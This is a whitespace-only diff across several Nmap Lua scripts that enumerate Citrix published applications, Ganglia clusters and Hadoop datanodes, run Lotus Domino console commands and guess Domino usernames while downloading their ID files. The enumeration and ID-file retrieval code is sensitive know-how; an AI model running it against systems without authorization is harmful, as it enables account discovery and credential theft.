local setting_value = settings[setting_key] and settings[setting_key] or ""
|
||||
table.insert(result_part, setting_title .. ": " .. setting_value )
|
||||
end
|
||||
end
|
||||
for _, setting_pairs in ipairs(setting_titles) do
|
||||
for setting_key, setting_title in pairs(setting_pairs) do
|
||||
local setting_value = settings[setting_key] and settings[setting_key] or ""
|
||||
table.insert(result_part, setting_title .. ": " .. setting_value )
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if AppData.AccessList then
|
||||
if AppData.AccessList.User then
|
||||
table.insert(result_part, "Users: " .. stdnse.strjoin(", ", AppData.AccessList.User) )
|
||||
end
|
||||
if AppData.AccessList then
|
||||
if AppData.AccessList.User then
|
||||
table.insert(result_part, "Users: " .. stdnse.strjoin(", ", AppData.AccessList.User) )
|
||||
end
|
||||
|
||||
if AppData.AccessList.Group then
|
||||
table.insert(result_part, "Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group) )
|
||||
end
|
||||
if AppData.AccessList.Group then
|
||||
table.insert(result_part, "Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group) )
|
||||
end
|
||||
|
||||
table.insert(result, result_part)
|
||||
end
|
||||
table.insert(result, result_part)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
return result
|
||||
return result
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
action = function(host,port)
|
||||
|
||||
local response = citrixxml.request_appdata(host.ip, port.number, {ServerAddress="",attr={addresstype="dot"},DesiredDetails={"all","access-list"} })
|
||||
local appdata = citrixxml.parse_appdata_response(response)
|
||||
local response = citrixxml.request_appdata(host.ip, port.number, {ServerAddress="",attr={addresstype="dot"},DesiredDetails={"all","access-list"} })
|
||||
local appdata = citrixxml.parse_appdata_response(response)
|
||||
|
||||
local response = format_output(appdata, (nmap.verbosity() > 1 and "long" or "short"))
|
||||
local response = format_output(appdata, (nmap.verbosity() > 1 and "long" or "short"))
|
||||
|
||||
return stdnse.format_output(true, response)
|
||||
return stdnse.format_output(true, response)
|
||||
|
||||
end
|
||||
|
||||
@@ -40,107 +40,107 @@ portrule = shortport.portnumber(1604, "udp")
|
||||
--
|
||||
function process_server_response(response)
|
||||
|
||||
local pos, packet_len = bin.unpack("SS", response)
|
||||
local server_name
|
||||
local server_list = {}
|
||||
local pos, packet_len = bin.unpack("SS", response)
|
||||
local server_name
|
||||
local server_list = {}
|
||||
|
||||
if packet_len < 40 then
|
||||
return
|
||||
end
|
||||
if packet_len < 40 then
|
||||
return
|
||||
end
|
||||
|
||||
-- the list of published applications starts at offset 40
|
||||
local offset = 41
|
||||
-- the list of published applications starts at offset 40
|
||||
local offset = 41
|
||||
|
||||
while offset < packet_len do
|
||||
pos, server_name = bin.unpack("z", response:sub(offset))
|
||||
offset = offset + pos - 1
|
||||
table.insert(server_list, server_name)
|
||||
end
|
||||
while offset < packet_len do
|
||||
pos, server_name = bin.unpack("z", response:sub(offset))
|
||||
offset = offset + pos - 1
|
||||
table.insert(server_list, server_name)
|
||||
end
|
||||
|
||||
return server_list
|
||||
return server_list
|
||||
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local packet, counter, socket
|
||||
local query = {}
|
||||
local server_list = {}
|
||||
local packet, counter, socket
|
||||
local query = {}
|
||||
local server_list = {}
|
||||
|
||||
--
|
||||
-- Packets were intercepted from the Citrix Program Neighborhood client
|
||||
-- They are used to query a server for it's list of published applications
|
||||
--
|
||||
-- We're really not interested in the responses to the first two packets
|
||||
-- The third response contains the list of published applications
|
||||
-- I couldn't find any documentation on this protocol so I'm providing
|
||||
-- some brief information for the bits and bytes this script uses.
|
||||
--
|
||||
-- Spec. of response to query[2] that contains a list of published apps
|
||||
--
|
||||
-- offset size content
|
||||
-- -------------------------
|
||||
-- 0 16-bit Length
|
||||
-- 12 32-bit Server IP (not used here)
|
||||
-- 30 8-bit Last packet (1), More packets(0)
|
||||
-- 40 - null-separated list of applications
|
||||
--
|
||||
query[0] = string.char(
|
||||
0x1e, 0x00, -- Length: 30
|
||||
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00
|
||||
)
|
||||
--
|
||||
-- Packets were intercepted from the Citrix Program Neighborhood client
|
||||
-- They are used to query a server for it's list of published applications
|
||||
--
|
||||
-- We're really not interested in the responses to the first two packets
|
||||
-- The third response contains the list of published applications
|
||||
-- I couldn't find any documentation on this protocol so I'm providing
|
||||
-- some brief information for the bits and bytes this script uses.
|
||||
--
|
||||
-- Spec. of response to query[2] that contains a list of published apps
|
||||
--
|
||||
-- offset size content
|
||||
-- -------------------------
|
||||
-- 0 16-bit Length
|
||||
-- 12 32-bit Server IP (not used here)
|
||||
-- 30 8-bit Last packet (1), More packets(0)
|
||||
-- 40 - null-separated list of applications
|
||||
--
|
||||
query[0] = string.char(
|
||||
0x1e, 0x00, -- Length: 30
|
||||
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00
|
||||
)
|
||||
|
||||
query[1] = string.char(
|
||||
0x2a, 0x00, -- Length: 42
|
||||
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
)
|
||||
query[1] = string.char(
|
||||
0x2a, 0x00, -- Length: 42
|
||||
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
)
|
||||
|
||||
counter = 0
|
||||
counter = 0
|
||||
|
||||
socket = nmap.new_socket()
|
||||
socket:set_timeout(5000)
|
||||
socket = nmap.new_socket()
|
||||
socket:set_timeout(5000)
|
||||
|
||||
local try = nmap.new_try(function() socket:close() end)
|
||||
try(socket:connect(host, port))
|
||||
local try = nmap.new_try(function() socket:close() end)
|
||||
try(socket:connect(host, port))
|
||||
|
||||
-- send the two first packets and never look back
|
||||
repeat
|
||||
try(socket:send(query[counter]))
|
||||
packet = try(socket:receive())
|
||||
counter = counter + 1
|
||||
until (counter>#query)
|
||||
-- send the two first packets and never look back
|
||||
repeat
|
||||
try(socket:send(query[counter]))
|
||||
packet = try(socket:receive())
|
||||
counter = counter + 1
|
||||
until (counter>#query)
|
||||
|
||||
-- process the first response
|
||||
server_list = process_server_response( packet )
|
||||
-- process the first response
|
||||
server_list = process_server_response( packet )
|
||||
|
||||
--
|
||||
-- the byte at offset 31 in the response has a really magic function
|
||||
-- if it is set to zero (0) we have more response packets to process
|
||||
-- if it is set to one (1) we have arrived at the last packet of our journey
|
||||
--
|
||||
while packet:sub(31,31) ~= string.char(0x01) do
|
||||
packet = try( socket:receive() )
|
||||
local tmp_table = process_server_response( packet )
|
||||
--
|
||||
-- the byte at offset 31 in the response has a really magic function
|
||||
-- if it is set to zero (0) we have more response packets to process
|
||||
-- if it is set to one (1) we have arrived at the last packet of our journey
|
||||
--
|
||||
while packet:sub(31,31) ~= string.char(0x01) do
|
||||
packet = try( socket:receive() )
|
||||
local tmp_table = process_server_response( packet )
|
||||
|
||||
for _, v in ipairs(tmp_table) do
|
||||
table.insert(server_list, v)
|
||||
end
|
||||
end
|
||||
for _, v in ipairs(tmp_table) do
|
||||
table.insert(server_list, v)
|
||||
end
|
||||
end
|
||||
|
||||
if #server_list>0 then
|
||||
nmap.set_port_state(host, port, "open")
|
||||
end
|
||||
if #server_list>0 then
|
||||
nmap.set_port_state(host, port, "open")
|
||||
end
|
||||
|
||||
socket:close()
|
||||
socket:close()
|
||||
|
||||
return stdnse.format_output(true, server_list)
|
||||
return stdnse.format_output(true, server_list)
|
||||
|
||||
end
|
||||
|
||||
@@ -10,7 +10,7 @@ Runs a console command on the Lotus Domino Console using the given authenticatio
|
||||
---
|
||||
-- @usage
|
||||
-- nmap -p 2050 <host> --script domcon-cmd --script-args domcon-cmd.cmd="show server", \
|
||||
-- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret"
|
||||
-- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret"
|
||||
--
|
||||
-- @output
|
||||
-- PORT STATE SERVICE REASON
|
||||
@@ -70,69 +70,69 @@ portrule = shortport.port_or_service(2050, "dominoconsole", "tcp", "open")
|
||||
-- or error message if status is false
|
||||
local function readAPIBlock( socket )
|
||||
|
||||
local lines
|
||||
local result = {}
|
||||
local status, line = socket:receive_lines(1)
|
||||
local lines
|
||||
local result = {}
|
||||
local status, line = socket:receive_lines(1)
|
||||
|
||||
if ( not(status) ) then return false, "Failed to read line" end
|
||||
lines = stdnse.strsplit( "\n", line )
|
||||
if ( not(status) ) then return false, "Failed to read line" end
|
||||
lines = stdnse.strsplit( "\n", line )
|
||||
|
||||
for _, line in ipairs( lines ) do
|
||||
if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then
|
||||
table.insert(result, line)
|
||||
end
|
||||
end
|
||||
for _, line in ipairs( lines ) do
|
||||
if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then
|
||||
table.insert(result, line)
|
||||
end
|
||||
end
|
||||
|
||||
-- Clear trailing empty lines
|
||||
while( true ) do
|
||||
if ( result[#result] == "" ) then
|
||||
table.remove(result, #result)
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
-- Clear trailing empty lines
|
||||
while( true ) do
|
||||
if ( result[#result] == "" ) then
|
||||
table.remove(result, #result)
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
return true, result
|
||||
return true, result
|
||||
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
local result_part, result, cmds = {}, {}, {}
|
||||
local user = stdnse.get_script_args('domcon-cmd.user')
|
||||
local pass = stdnse.get_script_args('domcon-cmd.pass')
|
||||
local cmd = stdnse.get_script_args('domcon-cmd.cmd')
|
||||
local socket = nmap.new_socket()
|
||||
local result_part, result, cmds = {}, {}, {}
|
||||
local user = stdnse.get_script_args('domcon-cmd.user')
|
||||
local pass = stdnse.get_script_args('domcon-cmd.pass')
|
||||
local cmd = stdnse.get_script_args('domcon-cmd.cmd')
|
||||
|
||||
if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end
|
||||
if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end
|
||||
if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end
|
||||
if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end
|
||||
if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end
|
||||
if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end
|
||||
|
||||
cmds = stdnse.strsplit(";%s*", cmd)
|
||||
cmds = stdnse.strsplit(";%s*", cmd)
|
||||
|
||||
socket:set_timeout(10000)
|
||||
local status = socket:connect( host.ip, port.number, "tcp")
|
||||
if ( status ) then
|
||||
socket:reconnect_ssl()
|
||||
end
|
||||
socket:set_timeout(10000)
|
||||
local status = socket:connect( host.ip, port.number, "tcp")
|
||||
if ( status ) then
|
||||
socket:reconnect_ssl()
|
||||
end
|
||||
|
||||
socket:send("#API\n")
|
||||
socket:send( ("#UI %s,%s\n"):format(user,pass) )
|
||||
socket:receive_lines(1)
|
||||
socket:send("#EXIT\n")
|
||||
socket:send("#API\n")
|
||||
socket:send( ("#UI %s,%s\n"):format(user,pass) )
|
||||
socket:receive_lines(1)
|
||||
socket:send("#EXIT\n")
|
||||
|
||||
for i=1, #cmds do
|
||||
socket:send(cmds[i] .. "\n")
|
||||
status, result_part = readAPIBlock( socket )
|
||||
if( status ) then
|
||||
result_part.name = cmds[i]
|
||||
table.insert( result, result_part )
|
||||
else
|
||||
return " \n ERROR: " .. result_part
|
||||
end
|
||||
end
|
||||
for i=1, #cmds do
|
||||
socket:send(cmds[i] .. "\n")
|
||||
status, result_part = readAPIBlock( socket )
|
||||
if( status ) then
|
||||
result_part.name = cmds[i]
|
||||
table.insert( result, result_part )
|
||||
else
|
||||
return " \n ERROR: " .. result_part
|
||||
end
|
||||
end
|
||||
|
||||
socket:close()
|
||||
socket:close()
|
||||
|
||||
return stdnse.format_output( true, result )
|
||||
return stdnse.format_output( true, result )
|
||||
end
|
||||
|
||||
@@ -54,81 +54,81 @@ portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open")
|
||||
-- @return status true on success, false on failure
|
||||
-- @return err string containing error message if status is false
|
||||
local function saveIDFile( filename, data )
|
||||
local f = io.open( filename, "w")
|
||||
if ( not(f) ) then
|
||||
return false, ("Failed to open file (%s)"):format(filename)
|
||||
end
|
||||
if ( not(f:write( data ) ) ) then
|
||||
return false, ("Failed to write file (%s)"):format(filename)
|
||||
end
|
||||
f:close()
|
||||
local f = io.open( filename, "w")
|
||||
if ( not(f) ) then
|
||||
return false, ("Failed to open file (%s)"):format(filename)
|
||||
end
|
||||
if ( not(f:write( data ) ) ) then
|
||||
return false, ("Failed to write file (%s)"):format(filename)
|
||||
end
|
||||
f:close()
|
||||
|
||||
return true
|
||||
return true
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local helper = nrpc.Helper:new( host, port )
|
||||
local status, data, usernames, err
|
||||
local path = stdnse.get_script_args('domino-enum-users.path')
|
||||
local result = {}
|
||||
local save_file = false
|
||||
local counter = 0
|
||||
local domino_username = stdnse.get_script_args("domino-enum-users.username")
|
||||
if ( domino_username ) then
|
||||
usernames = ( function()
|
||||
local b = true
|
||||
return function()
|
||||
if ( b ) then
|
||||
b=false;
|
||||
return domino_username
|
||||
end
|
||||
end
|
||||
end )()
|
||||
else
|
||||
status, usernames = unpwdb.usernames()
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to load usernames"
|
||||
end
|
||||
end
|
||||
local helper = nrpc.Helper:new( host, port )
|
||||
local status, data, usernames, err
|
||||
local path = stdnse.get_script_args('domino-enum-users.path')
|
||||
local result = {}
|
||||
local save_file = false
|
||||
local counter = 0
|
||||
local domino_username = stdnse.get_script_args("domino-enum-users.username")
|
||||
if ( domino_username ) then
|
||||
usernames = ( function()
|
||||
local b = true
|
||||
return function()
|
||||
if ( b ) then
|
||||
b=false;
|
||||
return domino_username
|
||||
end
|
||||
end
|
||||
end )()
|
||||
else
|
||||
status, usernames = unpwdb.usernames()
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to load usernames"
|
||||
end
|
||||
end
|
||||
|
||||
for username in usernames do
|
||||
status = helper:connect()
|
||||
if ( not(status) ) then
|
||||
err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip )
|
||||
break
|
||||
end
|
||||
for username in usernames do
|
||||
status = helper:connect()
|
||||
if ( not(status) ) then
|
||||
err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip )
|
||||
break
|
||||
end
|
||||
|
||||
status, data = helper:isValidUser( username )
|
||||
helper:disconnect()
|
||||
status, data = helper:isValidUser( username )
|
||||
helper:disconnect()
|
||||
|
||||
if ( status and data and path ) then
|
||||
local filename = path .. "/" .. stdnse.filename_escape(username .. ".id")
|
||||
local status, err = saveIDFile( filename, data )
|
||||
if ( status and data and path ) then
|
||||
local filename = path .. "/" .. stdnse.filename_escape(username .. ".id")
|
||||
local status, err = saveIDFile( filename, data )
|
||||
|
||||
if ( status ) then
|
||||
table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) )
|
||||
else
|
||||
stdnse.print_debug( err )
|
||||
table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) )
|
||||
end
|
||||
elseif( status and data ) then
|
||||
table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) )
|
||||
elseif ( status ) then
|
||||
table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) )
|
||||
end
|
||||
if ( status ) then
|
||||
table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) )
|
||||
else
|
||||
stdnse.print_debug( err )
|
||||
table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) )
|
||||
end
|
||||
elseif( status and data ) then
|
||||
table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) )
|
||||
elseif ( status ) then
|
||||
table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) )
|
||||
end
|
||||
|
||||
counter = counter + 1
|
||||
end
|
||||
counter = counter + 1
|
||||
end
|
||||
|
||||
if ( #result == 0 ) then
|
||||
table.insert(result, ("Guessed %d usernames, none were found"):format(counter) )
|
||||
end
|
||||
if ( #result == 0 ) then
|
||||
table.insert(result, ("Guessed %d usernames, none were found"):format(counter) )
|
||||
end
|
||||
|
||||
result = stdnse.format_output( true, result )
|
||||
if ( err ) then
|
||||
result = result .. (" \n %s"):format(err)
|
||||
end
|
||||
result = stdnse.format_output( true, result )
|
||||
if ( err ) then
|
||||
result = result .. (" \n %s"):format(err)
|
||||
end
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -25,13 +25,13 @@ For more information about Ganglia, see:
|
||||
-- nmap --script ganglia-info --script-args ganglia-info.timeout=60,ganglia-info.bytes=1000000 -p <port> <target>
|
||||
--
|
||||
-- @args ganglia-info.timeout
|
||||
-- Set the timeout in seconds. The default value is 60.
|
||||
-- This should be enough for a grid of more than 100 hosts at 200Kb/s.
|
||||
-- About 5KB-10KB of data is returned for each host in the cluster.
|
||||
-- Set the timeout in seconds. The default value is 60.
|
||||
-- This should be enough for a grid of more than 100 hosts at 200Kb/s.
|
||||
-- About 5KB-10KB of data is returned for each host in the cluster.
|
||||
-- @args ganglia-info.bytes
|
||||
-- Set the number of bytes to retrieve. The default value is 1000000.
|
||||
-- This should be enough for a grid of more than 100 hosts.
|
||||
-- About 5KB-10KB of data is returned for each host in the cluster.
|
||||
-- Set the number of bytes to retrieve. The default value is 1000000.
|
||||
-- This should be enough for a grid of more than 100 hosts.
|
||||
-- About 5KB-10KB of data is returned for each host in the cluster.
|
||||
--
|
||||
-- @output
|
||||
-- PORT STATE SERVICE VERSION
|
||||
@@ -89,63 +89,63 @@ portrule = shortport.port_or_service ({8649,8651}, "ganglia", {"tcp"})
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local result = {}
|
||||
local result = {}
|
||||
|
||||
-- Set timeout
|
||||
local timeout = nmap.registry.args[SCRIPT_NAME .. '.timeout']
|
||||
if not timeout then
|
||||
timeout = 30
|
||||
else
|
||||
tonumber(timeout)
|
||||
end
|
||||
-- Set timeout
|
||||
local timeout = nmap.registry.args[SCRIPT_NAME .. '.timeout']
|
||||
if not timeout then
|
||||
timeout = 30
|
||||
else
|
||||
tonumber(timeout)
|
||||
end
|
||||
|
||||
-- Set bytes
|
||||
local bytes = nmap.registry.args[SCRIPT_NAME .. '.bytes']
|
||||
if not bytes then
|
||||
bytes = 1000000
|
||||
else
|
||||
tonumber(bytes)
|
||||
end
|
||||
-- Set bytes
|
||||
local bytes = nmap.registry.args[SCRIPT_NAME .. '.bytes']
|
||||
if not bytes then
|
||||
bytes = 1000000
|
||||
else
|
||||
tonumber(bytes)
|
||||
end
|
||||
|
||||
-- Retrieve grid data in XML format over TCP
|
||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})
|
||||
if not status then
|
||||
stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
|
||||
return
|
||||
end
|
||||
-- Retrieve grid data in XML format over TCP
|
||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})
|
||||
if not status then
|
||||
stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
|
||||
return
|
||||
end
|
||||
|
||||
-- Parse daemon info
|
||||
if not string.match(data, "<!DOCTYPE GANGLIA_XML") then
|
||||
stdnse.print_debug(1, ("%s: %s:%s is not a Ganglia Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"') then
|
||||
table.insert(result, "Service: Ganglia Monitoring Daemon")
|
||||
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"')
|
||||
if version then table.insert(result, string.format("Version: %s\n", version)) end
|
||||
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"') then
|
||||
table.insert(result, "Service: Ganglia Meta Daemon")
|
||||
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"')
|
||||
if version then table.insert(result, string.format("Version: %s\n", version)) end
|
||||
local grid = string.match(data, '<GRID NAME="([^"]*)" ')
|
||||
if grid then table.insert(result, string.format("Grid Name: %s", grid)) end
|
||||
else
|
||||
stdnse.print_debug(1, ("%s: %s:%s did not supply Ganglia daemon details."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
-- Parse daemon info
|
||||
if not string.match(data, "<!DOCTYPE GANGLIA_XML") then
|
||||
stdnse.print_debug(1, ("%s: %s:%s is not a Ganglia Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"') then
|
||||
table.insert(result, "Service: Ganglia Monitoring Daemon")
|
||||
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"')
|
||||
if version then table.insert(result, string.format("Version: %s\n", version)) end
|
||||
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"') then
|
||||
table.insert(result, "Service: Ganglia Meta Daemon")
|
||||
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"')
|
||||
if version then table.insert(result, string.format("Version: %s\n", version)) end
|
||||
local grid = string.match(data, '<GRID NAME="([^"]*)" ')
|
||||
if grid then table.insert(result, string.format("Grid Name: %s", grid)) end
|
||||
else
|
||||
stdnse.print_debug(1, ("%s: %s:%s did not supply Ganglia daemon details."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
|
||||
-- Extract cluster details and system details for each cluster in the grid
|
||||
for line in string.gmatch(data, "[^\n]+") do
|
||||
if string.match(line, '<CLUSTER NAME="([^"]*)" ') and string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ') then
|
||||
table.insert(result, string.format("Cluster Name: %s\n\tOwner: %s\n", string.match(line, '<CLUSTER NAME="([^"]*)" '), string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ')))
|
||||
elseif string.match(line, '<HOST NAME="([^"]*)" IP="([^"]*)"') then
|
||||
table.insert(result, string.format("\tHostname: %s\n\t\tIP: %s\n", string.match(line, '<HOST NAME="([^"]*)" IP="[^"]*"'), string.match(line, '<HOST NAME="[^"]*" IP="([^"]*)"')))
|
||||
elseif string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"') then
|
||||
table.insert(result, string.format("\t\t%s: %s%s", string.gsub(string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"'), "_", " "), string.match(line, '<METRIC NAME="[^"]*" VAL="([^"]*)" [^>]+ UNITS="[^"]*"'), string.match(line, '<METRIC NAME="[^"]*" VAL="[^"]*" [^>]+ UNITS="([^"]*)"')))
|
||||
end
|
||||
end
|
||||
-- Extract cluster details and system details for each cluster in the grid
|
||||
for line in string.gmatch(data, "[^\n]+") do
|
||||
if string.match(line, '<CLUSTER NAME="([^"]*)" ') and string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ') then
|
||||
table.insert(result, string.format("Cluster Name: %s\n\tOwner: %s\n", string.match(line, '<CLUSTER NAME="([^"]*)" '), string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ')))
|
||||
elseif string.match(line, '<HOST NAME="([^"]*)" IP="([^"]*)"') then
|
||||
table.insert(result, string.format("\tHostname: %s\n\t\tIP: %s\n", string.match(line, '<HOST NAME="([^"]*)" IP="[^"]*"'), string.match(line, '<HOST NAME="[^"]*" IP="([^"]*)"')))
|
||||
elseif string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"') then
|
||||
table.insert(result, string.format("\t\t%s: %s%s", string.gsub(string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"'), "_", " "), string.match(line, '<METRIC NAME="[^"]*" VAL="([^"]*)" [^>]+ UNITS="[^"]*"'), string.match(line, '<METRIC NAME="[^"]*" VAL="[^"]*" [^>]+ UNITS="([^"]*)"')))
|
||||
end
|
||||
end
|
||||
|
||||
-- Return results
|
||||
return stdnse.format_output(true, result)
|
||||
-- Return results
|
||||
return stdnse.format_output(true, result)
|
||||
|
||||
end
|
||||
|
||||
@@ -53,105 +53,105 @@ categories = {"default", "discovery", "safe"}
|
||||
|
||||
|
||||
portrule = function(host, port)
|
||||
-- Run for the special port number, or for any HTTP-like service that is
|
||||
-- not on a usual HTTP port.
|
||||
return shortport.port_or_service ({50070}, "hadoop-namenode")(host, port)
|
||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||
-- Run for the special port number, or for any HTTP-like service that is
|
||||
-- not on a usual HTTP port.
|
||||
return shortport.port_or_service ({50070}, "hadoop-namenode")(host, port)
|
||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||
end
|
||||
|
||||
get_datanodes = function( host, port, Status )
|
||||
local result = {}
|
||||
local uri = "/dfsnodelist.jsp?whatNodes=" .. Status
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" ))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||
for datanodetmp in string.gmatch(body, "[%w%.:-_]+/browseDirectory.jsp") do
|
||||
local datanode = datanodetmp:gsub("/browseDirectory.jsp","")
|
||||
stdnse.print_debug(1, ("%s: Datanode %s"):format(SCRIPT_NAME,datanode))
|
||||
table.insert(result, ("Datanode: %s"):format(datanode))
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
if datanode:match("([%w%.]+)") then
|
||||
local newtarget = datanode:match("([%w%.]+)")
|
||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||
local status,err = target.add(newtarget)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
local result = {}
|
||||
local uri = "/dfsnodelist.jsp?whatNodes=" .. Status
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" ))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||
for datanodetmp in string.gmatch(body, "[%w%.:-_]+/browseDirectory.jsp") do
|
||||
local datanode = datanodetmp:gsub("/browseDirectory.jsp","")
|
||||
stdnse.print_debug(1, ("%s: Datanode %s"):format(SCRIPT_NAME,datanode))
|
||||
table.insert(result, ("Datanode: %s"):format(datanode))
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
if datanode:match("([%w%.]+)") then
|
||||
local newtarget = datanode:match("([%w%.]+)")
|
||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||
local status,err = target.add(newtarget)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local result = {}
